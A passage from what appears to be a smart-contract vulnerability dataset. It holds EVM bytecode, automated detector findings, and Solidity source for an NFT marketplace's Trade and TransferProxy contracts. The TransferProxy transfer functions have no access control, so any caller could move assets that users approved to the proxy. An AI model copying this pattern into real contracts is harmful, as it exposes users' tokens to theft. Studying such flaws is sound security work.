ffffffffffffffffff16815260200191505060405180910390f35b34801561088257600080fd5b506108e56004803603604081101561089957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f3565b6040518082815260200191505060405180910390f35b6060600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561096557600080fd5b505afa158015610979573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156109a357600080fd5b81019080805160405193929190846401000000008211156109c357600080fd5b838201915060208201858111156109d957600080fd5b82518660018202830111640100000000821117156109f657600080fd5b8083526020830192505050908051906020019080838360005b83811015610a2a578082015181840152602081019050610a0f565b50505050905090810190601f168015610a575780820380516001836020036101000a031916815260200191505b50604052505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610af057600080fd5b505af1158015610b04573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b384846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610b9b57600080fd5b505af1158015610baf573d6000803e3d6000fd5b505050506040513d6020811015610bc557600080fd5b8101908080519060200190929190505050506001905092915050565b610be9611adf565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce2281604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ce457600080fd5b505afa158015610cf8573d6000803e3d6000fd5b505050506040513d6020811015610d0e57600080fd5b8101908080519060200190929190505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610db157600080fd5b505af1158015610dc5573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610e7a57600080fd5b505af1158015610e8e573d6000803e3d6000fd5b505050506040513d6020811015610ea457600080fd5b810190808051906020019092919050505050600190509392505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2b57600080fd5b505afa158015610f3f573d6000803e3d6000fd5b505050506040513d6020811015610f5557600080fd5b8101908080519060200190929190505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561104257600080fd5b505afa158015611056573d6000803e3d6000fd5b505050506040513d602081101561106c57600080fd5b81019080805190602001909291905050509050919050565b61108c611adf565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e81604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180611b866035913960400191505060405180910390fd5b7fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d7573742062652070726f78792074617267657400000000000000000000000081525060200191505060405180910390fd5b6000878790509050606088888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509050866000811461147c5760018114611487576002811461149357600381146114a057600481146114ae576114b9565b8260208301a06114b9565b868360208401a16114b9565b85878460208501a26114b9565b8486888560208601a36114b9565b838587898660208701a45b50505050505050505050565b6060600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561152f57600080fd5b505afa158015611543573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561156d57600080fd5b810190808051604051939291908464010000000082111561158d57600080fd5b838201915060208201858111156115a357600080fd5b82518660018202830111640100000000821117156115c057600080fd5b8083526020830192505050908051906020019080838360005b838110156115f45780820151818401526020810190506115d9565b50505050905090810190601f1680156116215780820380516001836020036101000a031916815260200191505b50604052505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156116ba57600080fd5b505af11580156116ce573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561176557600080fd5b505af1158015611779573d6000803e3d6000fd5b505050506040513d602081101561178f57600080fd5b8101908080519060200190929190505050506001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc67f832336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561183857600080fd5b505af115801561184c573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ba365d7e8585856040518463ffffffff1660e01b8152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019350505050602060405180830381600087803b1580156118ed57600080fd5b505af1158015611901573d6000803e3d6000fd5b505050506040513d602081101561191757600080fd5b810190808051906020019092919050505050600190509392505050565b61193c611adf565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f198db6e425fb8aafd1823c6ca50be2d51e5764571a5ae0f0f21c6812e45def0b81604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611a9c57600080fd5b505afa158015611ab0573d6000803e3d6000fd5b505050506040513d6020811015611ac657600080fd5b8101908080519060200190929190505050905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611bbb602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea26469706673582212202a00a45259d4845897003a769023dfc4687c50c525698e2293d888d3d0febdc864736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,376 |
0x55031dc85c8a7e33815849e76ba2d1a5aabc8cdd
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function lastTokenId()external returns(uint256);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function contractOwner() external view returns(address owner);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, string memory _tokenURI, bytes memory data)external returns(uint256);
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event URI(string _value, uint256 indexed _id);
/**
@notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
@dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
MUST revert if `_to` is the zero address.
MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
MUST revert on any other error.
MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
@param _from Source address
@param _to Target address
@param _id ID of the token type
@param _value Transfer amount
@param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
function royaltyFee(uint256 tokenId) external view returns(uint256);
function getCreator(uint256 tokenId) external view returns(address);
function lastTokenId()external returns(uint256);
function mintAndTransfer(address from, address to, uint256 itemId, uint256 fee, uint256 _supply, string memory _tokenURI, uint256 qty, bytes memory data)external returns(uint256);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TransferProxy {
function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external {
token.safeTransferFrom(from, to, tokenId);
}
function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external {
token.safeTransferFrom(from, to, id, value, data);
}
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external {
require(token.transferFrom(from, to, value), "failure while transferring");
}
function erc721mintAndTransfer(IERC721 token, address from, address to, uint256 tokenId, uint256 fee, string memory tokenURI, bytes calldata data) external returns(uint256){
return token.mintAndTransfer(from, to,tokenId, fee, tokenURI, data);
}
function erc1155mintAndTransfer(IERC1155 token, address from, address to, uint256 tokenId, uint256 fee , uint256 supply, string memory tokenURI, uint256 qty, bytes calldata data) external returns(uint256) {
return token.mintAndTransfer(from, to, tokenId, fee, supply, tokenURI, qty, data);
}
}
contract Trade {
enum BuyingAssetType {ERC1155, ERC721 , LazyMintERC1155, LazyMintERC721}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SellerFee(uint8 sellerFee);
event BuyerFee(uint8 buyerFee);
event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer);
uint8 private buyerFeePermille;
uint8 private sellerFeePermille;
TransferProxy public transferProxy;
address public owner;
struct Fee {
uint platformFee;
uint assetFee;
uint royaltyFee;
uint price;
address tokenCreator;
}
/* An ECDSA signature. */
struct Sign {
uint8 v;
bytes32 r;
bytes32 s;
}
struct Order {
address seller;
address buyer;
address erc20Address;
address nftAddress;
BuyingAssetType nftType;
uint unitPrice;
uint amount;
uint tokenId;
uint256 supply;
string tokenURI;
uint256 fee;
uint qty;
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy) {
buyerFeePermille = _buyerFee;
sellerFeePermille = _sellerFee;
transferProxy = _transferProxy;
owner = msg.sender;
}
function buyerServiceFee() external view virtual returns (uint8) {
return buyerFeePermille;
}
function sellerServiceFee() external view virtual returns (uint8) {
return sellerFeePermille;
}
function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns(bool) {
buyerFeePermille = _buyerFee;
emit BuyerFee(buyerFeePermille);
return true;
}
function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns(bool) {
sellerFeePermille = _sellerFee;
emit SellerFee(sellerFeePermille);
return true;
}
function transferOwnership(address newOwner) external onlyOwner returns(bool){
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
function getSigner(bytes32 hash, Sign memory sign) internal pure returns(address) {
return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s);
}
function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount));
require(seller == getSigner(hash, sign), "seller sign verification failed");
}
function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign memory sign) internal pure {
bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount,qty));
require(buyer == getSigner(hash, sign), "buyer sign verification failed");
}
function verifyOwnerSign(address buyingAssetAddress,address seller,string memory tokenURI, Sign memory sign) internal view {
address _owner = IERC721(buyingAssetAddress).contractOwner();
bytes32 hash = keccak256(abi.encodePacked(this, seller, tokenURI));
require(_owner == getSigner(hash, sign), "Owner sign verification failed");
}
function getFees( Order memory order) internal view returns(Fee memory){
address tokenCreator;
uint platformFee;
uint royaltyFee;
uint assetFee;
uint royaltyPermille;
uint price = order.amount * 1000 / (1000+buyerFeePermille);
require(order.amount >= price, "price invalid");
uint buyerFee = order.amount - price;
uint sellerFee = price * sellerFeePermille / 1000;
platformFee = buyerFee + sellerFee;
if(order.nftType == BuyingAssetType.ERC721) {
royaltyPermille = ((IERC721(order.nftAddress).royaltyFee(order.tokenId)));
tokenCreator = ((IERC721(order.nftAddress).getCreator(order.tokenId)));
}
if(order.nftType == BuyingAssetType.ERC1155) {
royaltyPermille = ((IERC1155(order.nftAddress).royaltyFee(order.tokenId)));
tokenCreator = ((IERC1155(order.nftAddress).getCreator(order.tokenId)));
}
if(order.nftType == BuyingAssetType.LazyMintERC721) {
royaltyPermille = order.fee;
tokenCreator = order.seller;
}
if(order.nftType == BuyingAssetType.LazyMintERC1155) {
royaltyPermille = order.fee;
tokenCreator = order.seller;
}
royaltyFee = price * royaltyPermille / 1000;
require(price >= (royaltyFee + sellerFee), "price invalid");
assetFee = price - (royaltyFee + sellerFee);
return Fee(platformFee, assetFee, royaltyFee, price, tokenCreator);
}
function tradeAsset(Order memory order, Fee memory fee) internal virtual returns(uint256) {
uint256 tokenId;
if(order.nftType == BuyingAssetType.ERC721) {
transferProxy.erc721safeTransferFrom(IERC721(order.nftAddress), order.seller, order.buyer, order.tokenId);
}
if(order.nftType == BuyingAssetType.ERC1155) {
transferProxy.erc1155safeTransferFrom(IERC1155(order.nftAddress), order.seller, order.buyer, order.tokenId, order.qty, "");
}
if(order.nftType == BuyingAssetType.LazyMintERC721){
tokenId = transferProxy.erc721mintAndTransfer(IERC721(order.nftAddress), order.seller, order.buyer, order.tokenId, order.fee,order.tokenURI,"" );
}
if(order.nftType == BuyingAssetType.LazyMintERC1155){
tokenId = transferProxy.erc1155mintAndTransfer(IERC1155(order.nftAddress), order.seller, order.buyer, order.tokenId, order.fee, order.supply,order.tokenURI,order.qty,"" );
}
if(fee.platformFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), order.buyer, owner, fee.platformFee);
}
if(fee.royaltyFee > 0) {
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), order.buyer, fee.tokenCreator, fee.royaltyFee);
}
transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), order.buyer, order.seller, fee.assetFee);
return tokenId;
}
function mintAndBuyAsset(Order memory order, Sign memory ownerSign, Sign memory sign) external returns(bool){
Fee memory fee = getFees(order);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifyOwnerSign(order.nftAddress, order.seller, order.tokenURI, ownerSign);
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
order.buyer = msg.sender;
order.tokenId = tradeAsset(order, fee);
emit BuyAsset(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function mintAndExecuteBid(Order memory order, Sign memory ownerSign, Sign memory sign) external returns(bool){
Fee memory fee = getFees(order);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifyOwnerSign(order.nftAddress,order.seller, order.tokenURI, ownerSign);
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty,sign);
order.seller = msg.sender;
order.tokenId = tradeAsset(order, fee);
emit ExecuteBid(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function buyAsset(Order memory order, Sign memory sign) external returns(bool) {
Fee memory fee = getFees(order);
require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount");
verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign);
order.buyer = msg.sender;
tradeAsset(order, fee);
emit BuyAsset(order.seller , order.tokenId, order.qty, msg.sender);
return true;
}
function executeBid(Order memory order, Sign memory sign) external returns(bool) {
Fee memory fee = getFees(order);
verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign);
order.seller = msg.sender;
tradeAsset(order, fee);
emit ExecuteBid(msg.sender , order.tokenId, order.qty, order.buyer);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461014b5780639c66809d1461015e578063a3667c7b14610169578063a96b446d1461017c578063e9001b3d1461018f578063f2fde38b146101a257600080fd5b80631d7eacf2146100ae57806339511274146100d6578063567cb2bf146100e957806360085da6146100fc5780636e667db31461011a575b600080fd5b6100c16100bc366004611526565b6101b5565b60405190151581526020015b60405180910390f35b6100c16100e4366004611575565b61028f565b6100c16100f7366004611526565b61037b565b600054610100900460ff165b60405160ff90911681526020016100cd565b600054610133906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016100cd565b600154610133906001600160a01b031681565b60005460ff16610108565b6100c16101773660046115d5565b610412565b6100c161018a3660046115d5565b610499565b6100c161019d366004611575565b610508565b6100c16101b03660046115f7565b6105e8565b6000806101c1846106d7565b90508361016001518460a001516101d8919061162a565b816060015110156102045760405162461bcd60e51b81526004016101fb90611649565b60405180910390fd5b61022684600001518560e001518660a001518760400151886060015188610b07565b3360208501526102368482610bcc565b5060e084015184516101608601516040519081523392916001600160a01b0316907fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff394906020015b60405180910390a45060019392505050565b60008061029b856106d7565b90508461016001518560a001516102b2919061162a565b816060015110156102d55760405162461bcd60e51b81526004016101fb90611649565b6102ee8560600151866000015187610120015187611048565b61031085600001518660e001518760a001518860400151896060015188610b07565b3360208601526103208582610bcc565b60e0860181905285516101608701516040519081523392916001600160a01b0316907fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff394906020015b60405180910390a4506001949350505050565b600080610387846106d7565b90506103b184602001518560e001518660c00151876040015188606001518961016001518961114f565b3384526103be8482610bcc565b5083602001516001600160a01b03168460e00151336001600160a01b03167fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36287610160015160405161027d91815260200190565b6001546000906001600160a01b0316331461043f5760405162461bcd60e51b81526004016101fb90611676565b6000805461ff00191661010060ff8581168202929092179283905560405192041681527f04e959c7352d9eda8a6d989e4fee25ff0bf44c87386b7259d8500343c4e9992e906020015b60405180910390a15060015b919050565b6001546000906001600160a01b031633146104c65760405162461bcd60e51b81526004016101fb90611676565b6000805460ff191660ff84169081179091556040519081527f1715ed10763088cbfba08a6ecfb6e5894eac73040cb1899d10d3f96ced2bd0ef90602001610488565b600080610514856106d7565b90508461016001518560a0015161052b919061162a565b8160600151101561054e5760405162461bcd60e51b81526004016101fb90611649565b6105678560600151866000015187610120015187611048565b61058f85602001518660e001518760c00151886040015189606001518a61016001518961114f565b33855261059c8582610bcc565b60e0860181905285516101608701516040519081523392916001600160a01b0316907fec34853c156da04e4792f1c735112ae54e5ed52bac58db5014b26746f306a36290602001610368565b6001546000906001600160a01b031633146106155760405162461bcd60e51b81526004016101fb90611676565b6001600160a01b03821661067a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101fb565b6001546040516001600160a01b038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350600180546001600160a01b0383166001600160a01b0319909116178155919050565b6107126040518060a001604052806000815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b600080548190819081908190819061072f9060ff166103e86116ab565b61ffff168860c001516103e8610745919061162a565b61074f91906116d1565b9050808860c0015110156107955760405162461bcd60e51b815260206004820152600d60248201526c1c1c9a58d9481a5b9d985b1a59609a1b60448201526064016101fb565b6000818960c001516107a791906116f3565b60008054919250906103e8906107c590610100900460ff168561162a565b6107cf91906116d1565b90506107db818361170a565b965060018a6080015160038111156107f5576107f5611722565b036108f05760608a015160e08b015160405163c57dc23560e01b81526001600160a01b039092169163c57dc235916108339160040190815260200190565b602060405180830381865afa158015610850573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108749190611738565b935089606001516001600160a01b031663d48e638a8b60e001516040518263ffffffff1660e01b81526004016108ac91815260200190565b602060405180830381865afa1580156108c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ed9190611751565b97505b60008a60800151600381111561090857610908611722565b03610a035760608a015160e08b015160405163c57dc23560e01b81526001600160a01b039092169163c57dc235916109469160040190815260200190565b602060405180830381865afa158015610963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109879190611738565b935089606001516001600160a01b031663d48e638a8b60e001516040518263ffffffff1660e01b81526004016109bf91815260200190565b602060405180830381865afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611751565b97505b60038a608001516003811115610a1b57610a1b611722565b03610a2d576101408a01518a51985093505b60028a608001516003811115610a4557610a45611722565b03610a57576101408a01518a51985093505b6103e8610a64858561162a565b610a6e91906116d1565b9550610a7a818761170a565b831015610ab95760405162461bcd60e51b815260206004820152600d60248201526c1c1c9a58d9481a5b9d985b1a59609a1b60448201526064016101fb565b610ac3818761170a565b610acd90846116f3565b6040805160a08101825298895260208901919091528701959095525060608501525050506001600160a01b03909116608082015292915050565b6040516bffffffffffffffffffffffff19606084811b821660208401526034830188905285901b16605482015260688101859052600090608801604051602081830303815290604052805190602001209050610b63818361121c565b6001600160a01b0316876001600160a01b031614610bc35760405162461bcd60e51b815260206004820152601f60248201527f73656c6c6572207369676e20766572696669636174696f6e206661696c65640060448201526064016101fb565b50505050505050565b600080600184608001516003811115610be757610be7611722565b03610c695760005460608501518551602087015160e0880151604051637b84dc8360e11b8152620100009095046001600160a01b03169463f709b90694610c369490939092909160040161176e565b600060405180830381600087803b158015610c5057600080fd5b505af1158015610c64573d6000803e3d6000fd5b505050505b600084608001516003811115610c8157610c81611722565b03610d2c576000805460608601518651602088015160e08901516101608a0151604051639c1c2ee960e01b81526001600160a01b039586166004820152938516602485015291841660448401526064830152608482015260c060a482015260c4810193909352620100009091041690639c1c2ee99060e401600060405180830381600087803b158015610d1357600080fd5b505af1158015610d27573d6000803e3d6000fd5b505050505b600384608001516003811115610d4457610d44611722565b03610de95760005460608501518551602087015160e08801516101408901516101208a0151604051630744511160e41b8152620100009097046001600160a01b031696637445111096610da396909590949093909290916004016117f4565b6020604051808303816000875af1158015610dc2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de69190611738565b90505b600284608001516003811115610e0157610e01611722565b03610ebf57600060029054906101000a90046001600160a01b03166001600160a01b031663e870a3208560600151866000015187602001518860e001518961014001518a61010001518b61012001518c61016001516040518963ffffffff1660e01b8152600401610e79989796959493929190611854565b6020604051808303816000875af1158015610e98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebc9190611738565b90505b825115610f425760005460408086015160208701516001548751935163776062c360e01b81526001600160a01b036201000090960486169563776062c395610f0f9594939091169160040161176e565b600060405180830381600087803b158015610f2957600080fd5b505af1158015610f3d573d6000803e3d6000fd5b505050505b604083015115610fc8576000546040858101516020870151608087015187840151935163776062c360e01b8152620100009095046001600160a01b03169463776062c394610f959493929160040161176e565b600060405180830381600087803b158015610faf57600080fd5b505af1158015610fc3573d6000803e3d6000fd5b505050505b600054604085810151602080880151885191880151935163776062c360e01b8152620100009095046001600160a01b03169463776062c39461100e94939160040161176e565b600060405180830381600087803b15801561102857600080fd5b505af115801561103c573d6000803e3d6000fd5b50929695505050505050565b6000846001600160a01b031663ce606ee06040518163ffffffff1660e01b8152600401602060405180830381865afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac9190611751565b905060003085856040516020016110c5939291906118c4565b6040516020818303038152906040528051906020012090506110e7818461121c565b6001600160a01b0316826001600160a01b0316146111475760405162461bcd60e51b815260206004820152601e60248201527f4f776e6572207369676e20766572696669636174696f6e206661696c6564000060448201526064016101fb565b505050505050565b6040516bffffffffffffffffffffffff19606085811b821660208401526034830189905286901b166054820152606881018690526088810183905260009060a8016040516020818303038152906040528051906020